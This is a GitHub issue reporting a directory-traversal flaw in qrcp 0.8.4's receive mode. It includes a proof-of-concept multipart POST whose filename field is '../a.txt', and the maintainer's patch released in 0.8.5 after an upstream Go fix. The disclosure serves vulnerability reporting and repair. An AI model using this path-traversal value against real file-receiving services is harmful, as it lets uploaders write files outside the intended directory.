

New issue

Jump to bottom

Directory Traversal Vulnerability #223

Closed

starryloki opened this issue on Feb 28 · 2 comments · Fixed by #224

starryloki commented on Feb 28

While qrcp works on receive mode, uploader can edit the file name in HTTP request and add "../". Meanwhile, qrcp doesn't check legality of file name which lead to directory traversal.

Env: qrcp-0.8.4, Windows 10 x86_64, Ubuntu 20.04 x86_64


Poc:

```
PS C:\Users\loki\Desktop\qrcp_0.8.4_Windows_x86_64> ls

目录: C:\Users\loki\Desktop\qrcp_0.8.4_Windows_x86_64

Mode                LastWriteTime         Length Name
----                -
d-----          2022/2/28      20:42             test
-a-----          2021/4/25        1:22           1074 LICENSE
-a-----          2021/4/25        1:24          9737728 qrcp.exe
-a-----          2021/4/25        1:22          11265 README.md

PS C:\Users\loki\Desktop\qrcp_0.8.4_Windows_x86_64> .\qrcp.exe receive --output=test
Scan the following URL with a QR reader to start the file transfer, press CTRL+C or "q" to exit:
http://10.12.1.134:49724/receive/3vlc
```



Send files or text

Files to transfer

a.txt

☐ Show text options

Burp Suite Professional v2021.9.1 - Temporary I

Dashboard Target **Proxy** Intruder Repeater Sequencer Decoder Comparer Logger Exten

Intercept HTTP history WebSockets history Options

Request to http://10.12.1.134:49724

Pretty Raw Hex \n

```
1 POST /receive/3vlc HTTP/1.1
2 Host: 10.12.1.134:49724
3 Content-Length: 185
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome
5 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLc4Uwyid6nHNkIQG
6 Accept: */*
7 Origin: http://10.12.1.134:49724
8 Referer: http://10.12.1.134:49724/receive/3vlc
9 Accept-Encoding: gzip, deflate
10 Accept-Language: en-US,en;q=0.9
11 Connection: close
12
13 -----WebKitFormBoundaryLc4Uwyid6nHNkIQG
14 Content-Disposition: form-data; name="files"; filename="../a.txt"
15 Content-Type: text/plain
16
17 test
18
19 -----WebKitFormBoundaryLc4Uwyid6nHNkIQG--
20
```

edited (pointing to filename)

```
Transferring file: C:\Users\loki\Desktop\qrcp_0.8.4_Windows_x86_64\a.txt
C:\Users\loki\Desktop\qrcp_0.8.4_Windows_x86_64\a.txt[=>-----
File transfer completed
```

qrcp_0.8.4_Windows_x86_64

文件 主页 共享 查看

搜索 "qrcp_0.8.4_Windows_x86_64"

| 名称 | 修改日期 | 类型 | 大小 |
|--------------|-----------------|--------------|----------|
| test | 2022/2/28 20:42 | 文件夹 | |
| a.txt | 2022/2/28 22:33 | 文本文档 | 1 KB |
| LICENSE | 2021/4/25 1:22 | 文件 | 2 KB |
| qrcp.exe | 2021/4/25 1:24 | 应用程序 | 9,510 KB |
| README.md | 2021/4/25 1:22 | Markdown 源文件 | 12 KB |

should be test/a.txt (pointing to a.txt)

credit: starryloki,lu0sf

claudiodangelis commented on Feb 28

Owner

Hello, many thanks for spotting & reporting, I will focus on this very soon.
C

🔖  claudiodangelis linked a pull request on Mar 3 that will close this issue


Extract base from multipart #224

 Merged

🔗  claudiodangelis mentioned this issue on Mar 3

Extract base from multipart #224

 Merged

 claudiodangelis closed this as completed in [#224](#) on Mar 3

claudiodangelis commented on Mar 3 • edited ▼

Owner

This was apparently an issue on the `mime/multipart` package of Go itself, which has been fixed 10 months ago, a few weeks after the latest release of `qrqp`.

Links:

- <https://go-review.googlesource.com/c/go/+/-/313809>
- [golang/go@ 784ef4c](#)

I added a patch, should be all good now, can you please confirm? Thanks

EDIT: patch released as of version `0.8.5`.

 claudiodangelis reopened this on Mar 3

 starryloki closed this as completed on Mar 4

Assignees

No one assigned

Labels

...

None yet

Projects


None yet

Milestone

No milestone

Development

Successfully merging a pull request may close this issue.

 **Extract base from multipart**
claudiodangelis/qrcp

2 participants

